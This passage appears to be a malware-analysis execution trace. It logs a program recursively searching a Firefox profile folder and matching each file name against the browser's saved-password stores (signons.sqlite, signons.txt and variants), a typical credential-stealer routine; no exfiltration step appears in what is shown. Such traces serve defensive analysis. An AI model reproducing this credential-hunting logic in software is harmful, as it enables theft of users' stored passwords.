lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.938] LocalFree (hMem=0x641518) returned 0x0 [0070.938] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.938] lstrlenA (lpString="\\*.*") returned 4 [0070.938] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0070.938] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.938] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0070.938] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 0x642728 [0070.938] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.938] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.938] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.938] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.938] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.938] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0070.938] lstrlenA (lpString="addons.json") returned 11 [0070.938] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0070.938] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0070.938] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0070.938] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.938] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0070.938] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0070.938] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.938] lstrlenA (lpString="\\") returned 1 [0070.938] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.938] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.938] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.938] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.938] lstrlenA (lpString="bookmarkbackups") returned 15 [0070.938] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x641518 [0070.939] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.939] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.939] LocalFree (hMem=0x6275a8) returned 0x0 [0070.939] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0070.939] lstrlenA (lpString="\\*.*") returned 4 [0070.939] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x626a88 [0070.939] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.939] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0070.939] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0070.939] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.939] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.940] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.940] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.940] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.940] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.940] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0070.940] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0070.940] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0070.940] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0070.940] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.940] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.940] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0070.940] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0070.940] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0070.940] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0070.940] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0070.940] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.941] LocalFree (hMem=0x626a88) returned 0x0 [0070.941] LocalFree (hMem=0x641518) returned 0x0 [0070.941] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.941] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0070.941] lstrlenA (lpString="cert8.db") returned 8 [0070.941] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0070.941] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.941] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0070.941] lstrlenA (lpString="compatibility.ini") returned 17 [0070.941] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0070.941] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.941] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.941] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0070.941] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.941] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.941] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.941] lstrlenA (lpString="cookies.sqlite") returned 14 [0070.941] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.941] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.941] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.941] lstrlenA (lpString="downloads.sqlite") returned 16 [0070.941] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.941] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.941] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0070.941] lstrlenA (lpString="extensions.ini") returned 14 [0070.941] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0070.941] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0070.941] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.942] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.942] lstrlenA (lpString="extensions.sqlite") returned 17 [0070.942] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.942] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.942] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.942] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.942] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0070.942] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0070.942] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.942] lstrlenA (lpString="\\") returned 1 [0070.942] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.942] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.942] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.942] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.942] lstrlenA (lpString="healthreport") returned 12 [0070.942] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0070.942] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.942] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.942] LocalFree (hMem=0x6275a8) returned 0x0 [0070.942] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0070.942] lstrlenA (lpString="\\*.*") returned 4 [0070.942] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x641518 [0070.942] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.942] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0070.942] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0070.942] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.942] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.942] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.942] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.942] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0070.942] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.942] LocalFree (hMem=0x641518) returned 0x0 [0070.942] LocalFree (hMem=0x65b348) returned 0x0 [0070.942] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.942] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.942] lstrlenA (lpString="healthreport.sqlite") returned 19 [0070.942] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0070.942] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.942] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.942] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.942] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0070.943] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0070.943] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.943] lstrlenA (lpString="\\") returned 1 [0070.943] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.943] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.943] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.943] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.943] lstrlenA (lpString="indexedDB") returned 9 [0070.943] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.943] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.943] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.943] LocalFree (hMem=0x6275a8) returned 0x0 [0070.943] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.943] lstrlenA (lpString="\\*.*") returned 4 [0070.943] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0070.943] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.943] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0070.943] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0070.943] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.943] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.943] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.943] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.943] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.943] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0070.943] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0070.943] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0070.943] lstrlenA (lpString="\\") returned 1 [0070.943] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0070.943] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0070.943] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.943] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0070.943] lstrlenA (lpString="moz-safe-about+home") returned 19 [0070.943] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0070.943] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0070.943] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.943] LocalFree (hMem=0x65b428) returned 0x0 [0070.943] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.943] lstrlenA (lpString="\\*.*") returned 4 [0070.943] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0070.943] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.943] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0070.943] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 0x6427a8 [0070.943] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.943] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 1 [0070.944] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.944] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.944] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 1 [0070.944] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0070.944] lstrlenA (lpString=".metadata") returned 9 [0070.944] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0070.944] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0070.944] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0070.944] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 1 [0070.944] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0070.944] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0070.944] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0070.944] lstrlenA (lpString="\\") returned 1 [0070.944] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e540 [0070.944] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0070.944] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.944] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0070.944] lstrlenA (lpString="idb") returned 3 [0070.944] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e730 [0070.944] lstrcpyA (in: lpString1=0x65e730, 